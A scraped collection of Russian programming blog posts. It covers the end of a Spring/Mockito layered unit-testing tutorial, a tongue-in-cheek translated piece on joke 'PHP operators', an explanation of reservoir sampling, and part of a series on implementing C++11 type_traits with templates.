Эта запись означает: «когда будет вызван someService.tripleMethod с аргументом равным numberId, вернуть значение serviceRes».
Кроме того, эта запись фиксирует факт, что данный метод сервиса должен быть вызван, что важный момент. Бывает что требуется зафиксировать вызов процедуры без результата, тогда используется иная запись, условно такая — «не делать ничего когда...»:
```
Mockito.doNothing().when(someService).someMethod(eq(someParam));
```
Повторюсь, здесь лишь имитация работы someService, честное тестирование с детальной фиксацией поведения someService будет реализовано отдельно. Более того, тут даже не важно, чтобы значение именно утроилось, если мы напишем
```
int serviceRes = numberId*5;
```
это не сломает текущий сценарий, т.к. тут фиксируется не поведение someService, а поведение контроллера, принимающего результат someService как должное. Это совершенно логично, ведь целевой класс не может отвечать за поведение внедряемой зависимости, а вынужден ей доверять.
Итак мы определили поведение мока в нашем сценарии, следовательно при выполнении теста, когда внутри вызова целевого метода дело дойдет до мока, он вернет что попросили — serviceRes, и дальше с этим значением будет работать собственный код контроллера.
Далее помещаем в сценарий вызов целевого метода. Метод контроллера имеет особенность — он не вызывается в коде явно, а привязан через HTTP метод GET и URL, поэтому в тестах вызывается через специальный тестовый клиент. В Spring это MockMvc, в других фреймворках есть аналоги, например WebTestCase.createClient в Symfony. Итак, далее просто выполнение метода контроллера через маппинг по GET и URL.
```
//// mockMvc.perform
MockHttpServletRequestBuilder requestConfig = MockMvcRequestBuilders.get(SomeController.PATH_GET_TRIPLE, numberId);
MvcResult mvcResult = mockMvc.perform(requestConfig)
.andExpect(status().isOk())
//.andDo(MockMvcResultHandlers.print())
.andReturn()
;//// mockMvc.perform
```
Там же заодно проверяется, что такой маппинг вообще существует. Если вызов удачен — доходит дело до проверки-фиксации результатов. Например можно зафиксировать сколько раз был вызван метод мока:
```
// check of calling
Mockito.verify(someService, Mockito.atLeastOnce()).tripleMethod(eq(numberId));
```
В нашем случае это избыточно, т.к. его единственный вызов мы уже зафиксировали через when, но иногда это способ уместен.
А теперь главное — мы проверяем поведение собственного кода контроллера:
```
// check of result
assertEquals(SomeController.RESP_PREFIX+serviceRes, mvcResult.getResponse().getContentAsString());
```
Тут мы зафиксировали то, за что отвечает сам метод — что результат полученный от someService конкатенируется с префиксом контроллера, и именно эта строка уходит в тело response. Кстати, воочию в содержимом Body можно убедиться, если раскомментировать строку
```
//.andDo(MockMvcResultHandlers.print())
```
но обычно эта печать в консоль используется лишь как вспомогательная при отладке.
Таким образом у нас получился тестовый метод в тестовом классе контроллера:
```
@WebMvcTest(SomeController.class)
class SomeControllerTest {
@MockBean
private SomeService someService;
@Autowired
private MockMvc mockMvc;
@Test
void triple() throws Exception {
int numberId = 42; // input path variable
int serviceRes = numberId*3; // result from mock someService
// prepare someService.tripleMethod behavior
when(someService.tripleMethod(eq(numberId))).thenReturn(serviceRes);
//// mockMvc.perform
MockHttpServletRequestBuilder requestConfig = MockMvcRequestBuilders.get(SomeController.PATH_GET_TRIPLE, numberId);
MvcResult mvcResult = mockMvc.perform(requestConfig)
.andExpect(status().isOk())
//.andDo(MockMvcResultHandlers.print())
.andReturn()
;//// mockMvc.perform
// check of calling
Mockito.verify(someService, Mockito.atLeastOnce()).tripleMethod(eq(numberId));
// check of result
assertEquals(SomeController.RESP_PREFIX+serviceRes, mvcResult.getResponse().getContentAsString());
}
}
```
Теперь настало время честного теста метода someService.tripleMethod, где аналогично есть вызов зависимости и собственный код. Готовим произвольный входящий аргумент и имитируем поведение зависимости someRepository:
```
int numberId = 42;
when(someRepository.findOne(eq(numberId))).then(AdditionalAnswers.returnsFirstArg());
```
Перевод: «когда будет вызван someRepository.findOne с аргументом равным numberId, вернуть тот же аргумент». Аналогичная ситуация — тут мы не проверяем логику зависимости, а верим ей на слово. Мы лишь фиксируем вызов зависимости в пределах данного метода. Принципиальна тут собственная логика сервиса, его зона ответственности:
```
assertEquals(numberId*3, res);
```
Фиксируем, что значение полученное от репозитория должно быть утроено собственной логикой метода. Теперь данный тест стоит на страже этого требования:
```
@ExtendWith(MockitoExtension.class)
class SomeServiceTest {
@Mock
private SomeRepository someRepository; // то, что мокируем
@InjectMocks
private SomeService someService; // куда внедряем то, что мокируем
@Test
void tripleMethod() {
int numberId = 42;
when(someRepository.findOne(eq(numberId))).then(AdditionalAnswers.returnsFirstArg());
int res = someService.tripleMethod(numberId);
assertEquals(numberId*3, res);
}
}
```
Поскольку репозиторий у нас условно-игрушечный, то и тест получился соответствующий:
```
class SomeRepositoryTest {
// no dependency injection
private final SomeRepository someRepository = new SomeRepository();
@Test
void findOne() {
int id = 777;
Integer fromDB = someRepository.findOne(id);
assertEquals(id, fromDB);
}
}
```
Однако и тут весь скелет на месте: подготовка, вызов и проверка. Таким образом корректная работа someRepository.findOne зафиксирована.
Реальный репозиторий требует тестирования с поднятием базы данных в памяти или в тест-контейнере, миграции структуры и данных, иногда вставки тестовых записей. Зачастую это самый длительный слой тестирования, но не менее важный, т.к. фиксируется успешная миграция, сохранение моделей, корректная выборка и т.д. Организация тестирования базы данных выходит за рамки данной статьи, но как раз она подробно описана в мануалах. Внедрения зависимостей в репозитории нет и не нужно, его задача — работа с базой данных. В нашем случае, это был бы тест с предварительным сохранением записи в базу и последующим поиском по id.
Таким образом мы добились полного покрытия всей цепочки функционала. Каждый тест отвечает за работу собственного кода и фиксирует вызовы всех зависимостей. Чтобы протестировать приложение не требуется запускать его с полным поднятием контекста, это тяжело и долго. Сопровождение функционала быстрыми и легкими модульными тестами создает комфортную и надежную рабочую среду.
Кроме того, тесты повышают качество кода. В рамках независимого тестирования слоями часто приходится пересмотреть подход к организации кода. Например в сервисе метод создан метод first, он не маленький, он содержит и собственный код и моки, и, допустим, дробить его не имеет смысла, он покрыт тестом/ми по полной программе — определены все подготовки и проверки. Затем кто-то решает добавить в сервис метод second, в котором вызывается метод first. Вроде некогда обычная ситуация, но когда доходит до покрытия тестом — что-то не складывается… Для метода second придется описывать и сценарий second и дублировать сценарий подготовки first? Ведь не получится замокать метод first самого тестируемого класса.
Возможно, в таком случае уместно задуматься об иной организации кода. Есть два противоположных подхода:
* вынести метод first в компонент-утилиту, которая внедряется как зависимость в сервис.
* вынести метод second в некий сервис-фасад, который комбинирует разные методы внедренного сервиса или даже нескольких сервисов.
Оба эти варианта хорошо укладываются в принцип «слоев» и удобно тестируются с мокированием зависимостей. Прелесть в том, что каждый слой отвечает за свою работу, а все вместе они создают прочный каркас неуязвимости целой системы.
На дорожку...
-------------
Вопрос для собеседования: сколько раз в рамках тикета разработчик должен запускать тесты? Сколько угодно, но как минимум дважды:
* перед началом работы, чтобы убедиться что все OK, а не выяснять потом, что уже было сломано, а не ты сломал
* по окончании работы
Так зачем же писать тесты? Затем, что не стоит и пытаться в большом, сложном приложении все упомнить и предусмотреть, это нужно возложить на автоматику. Разработчик не владеющий авто-тестированием не готов участвовать в большом проекте, это сразу выявит любой собеседующий.
Поэтому, рекомендую развивать эти навыки, если желаете претендовать на высокие зарплаты. Начать эту увлекательную практику можно с базовых вещей, а именно в рамках любимого фреймворка научиться тестировать:
* компоненты с внедренными зависимостями, приемы мокирования
* контроллеры, т.к. есть нюансы вызова энд-пойнта
* DAO, репозитории, включая поднятие тестовой базы и миграции
Я надеюсь, что эта концепция «слоеного теста» помогла понять технику тестирования сложных приложений и почувствовать какой гибкий и мощный инструмент подарен нам для работы. Разумеется чем лучше инструмент, тем более мастерской работы он требует.
Приятной работы и высокого мастерства!
Код примера доступен по ссылке на github.com: <https://github.com/denisorlov/examples/tree/main/unittestidea> | https://habr.com/ru/post/534642/ | null | ru | null |
# Странные операторы в PHP
Если вы прочитаете документацию по PHP, вы узнаете о массе [операторов](http://www.php.net/manual/ru/language.operators.php). Если вы не знаете ещё PHP-операторы, сперва изучите их, а потом вернитесь к прочтению этой статьи.
> Судя по первым комментариям, хочу извиниться за плохой перевод, опыта у меня в этом мало, но хотелось перевести статью. Я буду рад любой критике относительно качества перевода, особенно за любые улучшения. Спасибо за внимание!
Операторы обычно состоят из странных символов, таких как !, -, =>, <=>, ^ or ~. Действительно, некоторые из них просто читаются, например `AND`, в то время как некоторые из них — упущенная попытка сделать их читаемыми и скрыть их фактически двойную индивидуальность, например, [xor](https://www.youtube.com/watch?v=orwCZm9ugJ0).
Вероятно, вы думаете, что знаете документацию PHP вдоль и поперёк, но всегда найдётся, чему поучиться. Поэтому я глубоко погрузился в код ядра PHP и посмотрел некоторые особенные операторы PHP, менее известные, но очень полезные в ежедневной работе.
Итак, вот 10 операторов PHP, которые вы должны знать в 2018 году!
Оператор b’
-----------
Просто добавьте `b` перед любой строкой, и ничего не произойдёт. Этот ловкий трюк работает только с `b` и `B`. Здесь мы должны напомнить о судьбе PHP 6, поскольку `b` похож на `6`.
```
$string = b'content';
```
Оператор []=
------------
Короткий оператор добавления нового элемента в массив. Он работает так, как вы и ожидаете — добавляет элемент справа в массив слева.
```
$array []= 'element';
```
В самом деле, это намного элегантнее, чем `$array[] = 'element';`. Некоторые тесты показывают, что это намного быстрее, в то время как другие наоборот, что это намного медленнее. Как обычно, посмотрите сами, подходит ли данный оператор вам, прежде чем делать ставку на производительность подобным трюком.
К сожалению, в официальном руководстве нет ни слова об этой замечательной возможности.
Оператор <-
-----------
Оператор "левого объекта" был введен в PHP для расширения возможности написания кода, для того чтобы разработчики могли писать PHP-код справа налево. Хотя позже проект был прекращён по непонятным причинам, этот первый оператор, получивший поддержку, сохранился в PHP.
```
$c = $a<-B;
```
В целях обратной совместимости вышеприведённый код не получит значение свойства `B` в объекте `$a`, а просто сравнивает `$a` с противоположностью`B`.
Оператор ––>
------------
`-->` также известен как "оператор супер-объекта", создан на основе своего дальнего двоюродного брата, `->`.
```
$object-->property
```
`-->` работает как `->`, за исключением того, что это не так. Основная хитрость: использовать не объект в качестве переменной `$object`, а целое число (в таком случае будет это будет работать как сравнение `>` — прим. пер.)
Оператор "стрелки влево" для массивов [$a <= $b]
================================================
Все мы знаем оператор `=>` для массивов, но они также поддерживают зеркальную версию этого оператора следующим образом:
```
$array = [
'a' => 'b',
'c' <= 'd',
];
var_dump($array);
/*
array(2) {
["a"]=>
string(1) "b"
[0]=>
bool(true)
*/
```
Это очень удобно для очень молодых программистов, а также тех, кто постарше, всё ещё использующих зеркальное написание. Этот оператор также имеет возможность превращать оба операнда в логическое значение, для более компактного хранения.
Имена констант с \*, %
----------------------
Константы хороши и эффективны, пока вам вам не захочется больше свободы в их синтаксисе. Хотя в руководстве указано, что имя константы должно содержать только буквы, символы подчёркивания и цифры, но также разрешено использовать специальные символы типа \* или % в имени. Например, следующим образом:
```
// Далее три строки кода даны для пояснения того, что имел в виду автор статьи — прим. пер.
define('A', 2);
define('B', 1);
define('A*B', 2);
$x = foo( A*B );
```
Единственное, нужно убедиться, что константы A и B существуют, а в результате их умножения получается значение предполагаемой константы. Это ещё одна хорошая причина, чтобы избегать использование простых чисел в качестве значений в константах.
Операторы "кораблей"
--------------------
Итак, все знают об операторе "космический корабль" `<=>` с момента выхода PHP 7. Но менее известно, что одновременно с этим релизом был введён целый флот космических кораблей для проведения крупномасштабных операций.
### Крошечный космический корабль
Вы можете предоставить эскорт оператору космического корабля, используя крошечный оператор космического корабля. Этот оператор не делает сравнение: он просто добавляет `$b` к `$a` в таком изысканном стиле.
```
$a -=- $b;
```
### X-истребители
Если вы хотите добавить огневую мощь к предыдущему флоту, вы можете вызвать истребителей типа X к источнику PHP: `+-0-+`. Следующий код вычитает 3 у `$a` (в оригинальной статье написано, что оператор прибавит 3 (`adds 3 to $a`), но это не так, см. вывод примера ниже — прим. пер.)
```
$a = 8;
$a = $a +-0-+ 3; // 5
```
### Линейный корабль
Оператор линейного корабля обеспечивает поддержку предыдущих операторов. Это один из операторов, работающий только с массивами, точно так же, как `=>`. Его следует использовать только самым продвинутым гуру PHP на этой стороне галактики. Не стоит недооценивать его силу.
```
$x = [ 2 <=['-']=> $b];
```
Разве не лучший способ написать так?
```
$x = [ 1 => $b];
```
### Звезда Смерти
Многие из вас бы спросили, а был ли встроен в PHP оператор "звезда смерти", и ответ таков: в данный момент неизвестно. Есть планы на это, но никто никогда не видел реального экземпляра. Мне бы очень хотелось видеть оператор в три строки, так как PHP будет первым, кто будем иметь подобное (и, когда это произойдёт, надеюсь, не с моего счёта спишут стоимость этого оператора).
```
$x = $y ~~
( °)
~~ true;
```
Безумие оператора PHP
---------------------
Операторы PHP — аккуратные и эффективные. Мы надеемся, что эти менее известные операторы научили вас кое-чему в PHP.
Проверьте приведённые примеры кода: все они работают в PHP 7.2.5, кроме "звезды смерти". Они могут иметь некоторые предварительные условия, поэтому обязательно прочитайте документацию перед их использованием. | https://habr.com/ru/post/412603/ | null | ru | null |
# Алгоритм резервуарной выборки
Резервуарная выборка (eng. «reservoir sampling») — это простой и эффективный алгоритм случайной выборки некоторого количества элементов из имеющегося вектора большого и/или неизвестного заранее размера. Я не нашел об этом алгоритме ни одной статьи на Хабре и поэтому решил написать её сам.
Итак, о чём же идёт речь. Выбрать один случайный элемент из вектора — это элементарная задача:
```
// C++
std::random_device rd;
std::mt19937 gen(rd());
std::uniform_int_distribution<> dis(0, vect.size() — 1);
auto result = vect[dis(gen)];
```
Задача «вернуть K случайных элементов из вектора размером N» уже хитрее. Здесь уже можно ошибиться — например, взять K первых элементов (это нарушит требование случайности) или взять каждый из элементов с вероятностью K/N (это нарушит требование взять ровно K элементов). Кроме того, можно реализовать и формально корректное, но крайне неэффективное решение «перемешать случайно все элементы и взять K первых». И всё становится ещё интереснее, если добавить условие того, что N — число очень большое (нам не хватит памяти сохранить все N элементов) и/или не известно заранее. Для примера представим себе, что у нас есть какой-то внешний сервис, присылающий нам элементы по одному. Мы не знаем сколько их придёт всего и не можем сохранить их все, но хотим в любой момент времени иметь набор из ровно K случайно выбранных элементов из уже полученных.
Алгоритм резервуарной выборки позволяет решить эту задачу за O(N) шагов и O(K) памяти. При этом не требуется знать N заранее, а условие случайности выборки ровно K элементов будет чётко соблюдено.
### Начнём с упрощённой задачи
Пусть K=1, т.е. нам нужно выбрать всего один элемент из всех пришедших — но так, чтобы у каждого из пришедших элементов была одинаковая вероятность быть выбранным. Алгоритм напрашивается сам собой:
**Шаг 1**: Выделяем память на ровно один элемент. Сохраняем в неё первый пришедший элемент.
Пока всё ок — нам пришел всего один элемент, с вероятностью в 100% (на данный момент) он должен являться выбранным — так и есть.
**Шаг 2**: Второй пришедший элемент с вероятностью 1/2 перезаписываем в качестве выбранного.
Здесь тоже всё хорошо: нам пока пришло только два элемента. Первый остался выбранным с вероятностью 1/2, второй перезаписал его с вероятностью 1/2.
**Шаг 3**: Третий пришедший элемент с вероятностью 1/3 перезаписываем в качестве выбранного.
С третьим элементом всё хорошо — его шанс быть выбранным равен ровно 1/3. Но не нарушили ли мы каким-либо образом равенство шансов предыдущих элементов? Нет. Вероятность того, что на этом шаге выбранный элемент не будет перезаписан равна 1 — 1/3 = 2/3. А поскольку на шаге 2 мы гарантировали равенство шансов каждого из элементов быть выбранным, то после шага 3 каждый из них может оказаться выбранным с шансом 2/3 \* 1/2 = 1/3. Ровно такой же шанс, как и у третьего элемента.
**Шаг N**: С вероятностью 1/N элемент номер N перезаписываем в качестве выбранного. У каждого из предыдущих пришедших элементов остаётся тот же шанс 1/N остаться выбранным.
Но это была упрощённая задача, при K=1.
### Как изменится алгоритм при K>1 ?
**Шаг 1**: Выделяем память на K элементов. Записываем в неё первые K пришедших элементов.
Единственный способ взять K элементов из K пришедших элементов — это взять их все :)
**Шаг N**: (для каждого N > K): генерируем случайное число X от 1 до N. Если X > K то отбрасываем данный элемент и переходим к следующему. Если X <= K, то перезаписываем элемент под номером X. Поскольку значение X будет равномерно случайно на диапазоне от 1 до N, то при условии X <= K оно будет равномерно случайно и на диапазоне от 1 до K. Таким образом мы обеспечиваем равномерность выбора перезаписываемых элементов.
Как можно заметить — каждый следующий пришедший элемент имеет всё меньшую и меньшую вероятность быть выбранным. Она, тем ни менее, всегда будет равна ровно K/N (как и для каждого из предыдущих пришедших элементов).
Плюс этого алгоритма в том, что мы можем в любой момент времени остановиться, показать пользователю текущий вектор K — и это будет вектор честно выбранных случайных элементов из пришедшей последовательности элементов. Возможно, пользователя это устроит, а возможно, он захочет продолжить обработку входящих значений — мы можем это сделать в любой момент. При этом, как упоминалось в начале, мы никогда не используем больше, чем О(K) памяти.
Ах да, совсем забыл, в стандартную библиотеку С++17 наконец вошла функция [std::sample](https://en.cppreference.com/w/cpp/algorithm/sample), делающая ровно то, что описано выше. Стандарт не обязывает её использовать именно резервуарную выборку, но обязывает работать за O(N) шагов — ну и вряд ли разработчики её реализации в стандартной библиотеке выберут какой-то алгоритм, использующий более, чем О(K) памяти (а меньше тоже не получится — результат же нужно где-то хранить).
### Материалы по теме
* [Доклад разработчика из Facebook](https://www.youtube.com/watch?v=wG49AGqQ5Aw&feature=youtu.be&t=2041) о том, как резервуарная выборка была использована в их движке поиска по внутренней кодовой базе (с 34-ой минуты).
* [Статья в Википедии](https://en.wikipedia.org/wiki/Reservoir_sampling)
* [std::sample на Cppreference](https://en.cppreference.com/w/cpp/algorithm/sample) | https://habr.com/ru/post/431652/ | null | ru | null |
# Как я стандартную библиотеку C++11 писал или почему boost такой страшный. Глава 4.3
 ### Краткое содержание предыдущих частей
Из-за ограничений на возможность использовать компиляторы C++ 11 и от безальтернативности boost'у возникло желание написать свою реализацию стандартной библиотеки C++ 11 поверх поставляемой с компилятором библиотеки C++ 98 / C++ 03.
Были реализованы **static\_assert**, **noexcept**, **countof**, а так же, после рассмотрения всех нестандартных дефайнов и особенностей компиляторов, появилась информация о функциональности, которая поддерживается текущим компилятором. Включена своя реализация **nullptr**, которая подбирается на этапе компиляции.
Настало время **type\_traits** и всей этой «особой шаблонной магии». В предыдущих частях данной главы мы рассмотрели мою реализацию базовых шаблонов стандартной библиотеки и в данной части речь пойдет про комбинацию техники SFINAE с шаблонами и немного о кодогенерации.
Ссылка на GitHub с результатом на сегодня для нетерпеливых и нечитателей:
> **[Коммиты и конструктивная критика приветствуются](https://github.com/oktonion/stdex)**
Больше шаблонов C++ под катом.
#### Оглавление
[Введение](https://habr.com/post/417027/)
[Глава 1. Viam supervadet vadens](https://habr.com/post/417027/)
[Глава 2. #ifndef \_\_CPP11\_SUPPORT\_\_ #define \_\_COMPILER\_SPECIFIC\_BUILT\_IN\_AND\_MACRO\_HELL\_\_ #endif](https://habr.com/post/417099/)
[Глава 3. Поиск идеальной реализации nullptr](https://habr.com/post/417295/)
[Глава 4. Шаблонная «магия» C++](https://habr.com/post/417547/)
....[4.1 Начинаем с малого](https://habr.com/post/417547/)
....[4.2 О сколько нам ошибок чудных готовит компиляций лог](https://habr.com/post/417949/)
....**4.3 Указатели и все-все-все**
....[4.4 Что же еще нужно для шаблонной библиотеки](https://habr.com/post/420365/)
Глава 5.
…
### Глава 4. Шаблонная «магия» C++. Продолжение
#### 4.3 Указатели и все-все-все
На данном этапе мне оставалось только получить информацию о том является ли тип массивом для *std::is\_array* и можно было приступать к шаблонам для указателей. Реализация так же была тривиальна, однако не без допущений.
```
// is_array
template
struct is\_array :
public false\_type { };
template
struct is\_array<\_Tp[\_Size]> :
public true\_type { };
/\*template
struct is\_array<\_Tp[]>:
public true\_type { }; \*/
```
Простая специализация шаблона для массивов заданной длины «отлавливает» все типы массивов, однако проблема возникает с неполным типом *T[]* (массив без указания длины). Дело в том что данный тип не определяется некоторыми компиляторами (C++ Builder) при специализации шаблона, и универсальное решение здесь я пока что не нашел.
После того как библиотека была «научена» определять встроенные типы, выравнивание в памяти типов, работать с модификаторами типов и другим базовым вещам через шаблоны во время компиляции настало время указателей и ссылок.
 В языке C++ можно выделить две группы указателей — указатели на члены класса и указатели на остальные объекты. Почему именно такое разделение важно для дальнейшей реализации стандартной библиотеки? Дело в том что указатели на члены класса имеют существенное отличие от остальных указателей наличием **this**, т.е. указателя на объект этого класса. И по стандарту указатели на член класса имеют отдельный синтаксис для определения, являются отдельным типом и не могут быть представлены через обычный указатель. На практике это выражается в том что размер указателя на член класса обычно больше чем размер обычного указателя (который *==* **sizeof(void\*)**), т.к. для реализации виртуальных функций-членов класса, а так же хранения указателя **this** компиляторы обычно реализуют указатели на член класса как структуру (почитать [про виртуальные ф-ии](https://stackoverflow.com/questions/99297/how-are-virtual-functions-and-vtable-implemented) и [про структуру](http://lazarenko.me/wide-pointers/)). То как представить указатели на члены класса оставим, согласно стандарту, на усмотрение компилятора, но об этом различии в размере и представлении будем помнить рассматривая дальнейший код.
Для определения обычного указателя на объект напишем простой шаблон *is\_pointer*, а так же шаблон *is\_lvalue\_reference* для ссылок на объект (*is\_rvalue\_reference* отставим, т.к. до 11 стандарта как оператора *&&*, так и в целом move-семантики не существовало):
```
namespace detail
{
template
struct \_is\_pointer\_helper :
public false\_type { };
template
struct \_is\_pointer\_helper<\_Tp\*> :
public true\_type { };
}
// is\_pointer
template
struct is\_pointer :
public detail::\_is\_pointer\_helper::type>::type
{ };
// is\_lvalue\_reference
template
struct is\_lvalue\_reference :
public false\_type { };
template
struct is\_lvalue\_reference<\_Tp&> :
public true\_type { };
```
Здесь уже нет чего-то принципиально нового, все то же самое делалось и в предыдущих частях данной главы. Продолжим определения указателей на объекты — теперь рассмотрим указатели на функции.
> Важно понимать что функция и функция-член класса это совершенно разные сущности согласно стандарту:
>
>
>
> * На первую указатель будет обычный (указатель на объект), на вторую же будет указатель на член класса.
>
>
>
>
> ```
> void (*func_ptr)(int); // указатель 'func_ptr' на функцию вида 'void func(int){}'
> void (ClassType::*mem_func_ptr)(int); // указатель 'mem_func_ptr' на функцию-член класса 'ClassType' вида 'void ClassType::func(int){}'
>
> ```
>
>
> * На первую можно создать ссылку (ссылка на объект), а на вторую ссылку создать нельзя.
>
>
>
>
> ```
> void (&func_ref)(int); // ссылка 'func_ref' на функцию вида 'void func(int){}'
> //-------------------- // ссылка на функцию-член класса не определена стандартом
>
> ```
>
Здесь как раз упомяну немного о кодогенерации. Так как до C++ 11 отсутствовали шаблоны с переменным числом параметров, все шаблоны где могло быть разное количество параметров [определялись через специализации основного шаблона с каким ни будь большим числом параметров](https://github.com/oktonion/Cpp-fast-delegates/blob/master/delegates/delegate.h) на входе и их инициализацией параметрами-пустышками по-умолчанию. То же самое применялось и к перегрузкам функций, т.к. макросов с переменным числом параметров тоже не было. Так как написание руками по 60-70 строк однотипных специализаций шаблона, перегрузок функций является довольно унылым и бесполезным занятием, а так же чревато тем, что можно допустить ошибку я написал простой генератор кода шаблонов и перегрузок функций для этих целей. Я решил ограничиться определением функций до 24 параметров и выглядит это в коде довольно громоздко, но просто и понятно:
```
namespace detail
{
template
struct \_is\_function\_ptr\_helper : false\_type {};
template
struct \_is\_function\_ptr\_helper : true\_type {};
template
struct \_is\_function\_ptr\_helper : true\_type {};
template
struct \_is\_function\_ptr\_helper : true\_type {};
template
struct \_is\_function\_ptr\_helper : true\_type {};
```
**...**
```
template
struct \_is\_function\_ptr\_helper : true\_type {};
template
struct \_is\_function\_ptr\_helper : true\_type {};
}
```
Определим знакомые с предыдущей главы типы для техники SFINAE:
```
namespace detail
{
// SFINAE magic
typedef char _yes_type;
struct _no_type
{
char padding[8];
};
}
```
**Еще немного макросов для удобства**
```
namespace detail
{
#define _IS_MEM_FUN_PTR_CLR \
template \
\_yes\_type \_is\_mem\_function\_ptr(R(T::\*const volatile\*)(ARGS)); \
template \
\_yes\_type \_is\_mem\_function\_ptr(R(T::\*const volatile\*)(ARGS...)); \
template \
\_yes\_type \_is\_mem\_function\_ptr(R(T::\*const volatile\*)(ARGS) const); \
template \
\_yes\_type \_is\_mem\_function\_ptr(R(T::\*const volatile\*)(ARGS) volatile); \
template \
\_yes\_type \_is\_mem\_function\_ptr(R(T::\*const volatile\*)(ARGS) const volatile); \
template \
\_yes\_type \_is\_mem\_function\_ptr(R(T::\*const volatile\*)(ARGS...) const); \
template \
\_yes\_type \_is\_mem\_function\_ptr(R(T::\*const volatile\*)(ARGS...) volatile); \
template \
\_yes\_type \_is\_mem\_function\_ptr(R(T::\*const volatile\*)(ARGS...) const volatile);
#ifdef \_STDEX\_CDECL
\_no\_type \_STDEX\_CDECL \_is\_mem\_function\_ptr(...);
#define \_IS\_MEM\_FUN\_CDECL\_PTR \
template \
\_yes\_type \_is\_mem\_function\_ptr(R(\_\_cdecl T::\*const volatile\*)(ARGS)); \
template \
\_yes\_type \_is\_mem\_function\_ptr(R(\_\_cdecl T::\*const volatile\*)(ARGS) const); \
template \
\_yes\_type \_is\_mem\_function\_ptr(R(\_\_cdecl T::\*const volatile\*)(ARGS) volatile); \
template \
\_yes\_type \_is\_mem\_function\_ptr(R(\_\_cdecl T::\*const volatile\*)(ARGS) const volatile);
#define \_IS\_MEM\_FUN\_STDCALL\_PTR \
template \
\_yes\_type \_is\_mem\_function\_ptr(R(\_\_stdcall T::\*const volatile\*)(ARGS)); \
template \
\_yes\_type \_is\_mem\_function\_ptr(R(\_\_stdcall T::\*const volatile\*)(ARGS) const); \
template \
\_yes\_type \_is\_mem\_function\_ptr(R(\_\_stdcall T::\*const volatile\*)(ARGS) volatile); \
template \
\_yes\_type \_is\_mem\_function\_ptr(R(\_\_stdcall T::\*const volatile\*)(ARGS) const volatile);
#define \_IS\_MEM\_FUN\_FASTCALL\_PTR \
template \
\_yes\_type \_is\_mem\_function\_ptr(R(\_\_fastcall T::\*const volatile\*)(ARGS)); \
template \
\_yes\_type \_is\_mem\_function\_ptr(R(\_\_fastcall T::\*const volatile\*)(ARGS) const); \
template \
\_yes\_type \_is\_mem\_function\_ptr(R(\_\_fastcall T::\*const volatile\*)(ARGS) volatile); \
template \
\_yes\_type \_is\_mem\_function\_ptr(R(\_\_fastcall T::\*const volatile\*)(ARGS) const volatile);
#else
\_no\_type \_is\_mem\_function\_ptr(...);
#define \_IS\_MEM\_FUN\_CDECL\_PTR
#define \_IS\_MEM\_FUN\_STDCALL\_PTR
#define \_IS\_MEM\_FUN\_FASTCALL\_PTR
#endif
#define \_IS\_MEM\_FUN\_PTR \
\_IS\_MEM\_FUN\_PTR\_CLR \
\_IS\_MEM\_FUN\_CDECL\_PTR \
\_IS\_MEM\_FUN\_STDCALL\_PTR \
\_IS\_MEM\_FUN\_FASTCALL\_PTR
}
```
Макросы определены для того чтобы можно было относительно удобно переопределять **TYPES** и **ARGS** дефайны как список типов и параметров, затем подставляя макрос **\_IS\_MEM\_FUN\_PTR** генерировать препроцессором определения для всех возможных типов функций. Так же стоит обратить внимание на то, что для компиляторов компании Microsoft важны еще [соглашения о вызовах](https://msdn.microsoft.com/ru-ru/library/984x0h58.aspx) (**\_\_fastcall**, **\_\_stdcall** и **\_\_cdecl**), т.к. с разными соглашениями функции будут разными, хотя набор аргументов и возвращаемое значение у них одно и то же. В результате вся эта грандиозная конструкция макросов используется довольно компактно:
```
namespace detail
{
#define TYPES
#define ARGS
_IS_MEM_FUN_PTR
#undef TYPES
#undef ARGS
#define TYPES , class T0
#define ARGS T0
_IS_MEM_FUN_PTR
#undef TYPES
#undef ARGS
#define TYPES , class T0, class T1
#define ARGS T0, T1
_IS_MEM_FUN_PTR
#undef TYPES
#undef ARGS
```
**...**
```
#define TYPES , class T0, class T1, class T2, class T3, class T4, class T5, class T6, class T7, class T8, class T9, class T10, class T11, class T12, class T13, class T14, class T15, class T16, class T17, class T18, class T19, class T20, class T21, class T22, class T23, class T24
#define ARGS T0, T1, T2, T3, T4, T5, T6, T7, T8, T9, T10, T11, T12, T13, T14, T15, T16, T17, T18, T19, T20, T21, T22, T23, T24
_IS_MEM_FUN_PTR
#undef TYPES
#undef ARGS
// не забудем убрать все лишние define за собой:
#undef _IS_MEM_FUN_PTR
#undef _IS_MEM_FUN_PTR_CLR
#undef _IS_MEM_FUN_CDECL_PTR
#undef _IS_MEM_FUN_STDCALL_PTR
#undef _IS_MEM_FUN_FASTCALL_PTR
}
```
А теперь то, ради чего все это было написано:
```
namespace detail
{
template
struct \_is\_mem\_function\_ptr\_impl
{
static \_Tp \*p;
static const bool value = (sizeof(\_is\_mem\_function\_ptr(\_is\_mem\_function\_ptr\_impl::p)) == sizeof(\_yes\_type));
typedef typename integral\_constant::type type;
};
template
struct \_is\_mem\_function\_ptr\_impl<\_Tp, true>:
public false\_type
{};
template
struct \_is\_mem\_function\_ptr\_helper:
public \_is\_mem\_function\_ptr\_impl<\_Tp, is\_reference<\_Tp>::value>::type
{};
template
struct \_is\_function\_chooser\_impl :
public false\_type
{ };
template
struct \_is\_function\_chooser\_impl<\_Tp, false> :
public \_is\_function\_ptr\_helper<\_Tp\*>
{ };
template
struct \_is\_function\_chooser :
public false\_type
{ };
template
struct \_is\_function\_chooser<\_Tp, false>
{
static const bool value = \_is\_function\_chooser\_impl<\_Tp, \_is\_mem\_function\_ptr\_helper<\_Tp>::value>::value;
};
}
```
Для проверки является ли тип функцией-членом класса сначала проверяется не является ли тип ссылочным. Затем создается указатель такого типа и подставляется в функцию-пробник. Используя технику SFINAE силами компилятора подбирается необходимая из перегрузок функций-пробников для такого указателя и на основе результата сравнения с *\_yes\_type* формируется результат.
На основе проверки на функцию-член класса пишется проверка типа на его принадлежность типу функции. Проверяем не является ли тип ссылочным, если нет, то ищем подходящую специализацию шаблонных структур-пробников для указателя этого типа, которые будут *true\_type* для любых указателей на функции до 24 параметров.
И теперь используем полученный результат для реализации *is\_function*. Здесь, по той же причине что и в [предыдущей части](https://habr.com/post/417949/), я не смог отнаследовать эту структуру от *integral\_constant*, так что поведение *integral\_constant* «имитируется».
```
// is_function
template
struct is\_function
{
static const bool value = detail::\_is\_function\_chooser<\_Tp, is\_reference<\_Tp>::value>::value;
typedef const bool value\_type;
typedef integral\_constant type;
operator value\_type() const
{ // return stored value
return (value);
}
value\_type operator()() const
{ // return stored value
return (value);
}
};
```
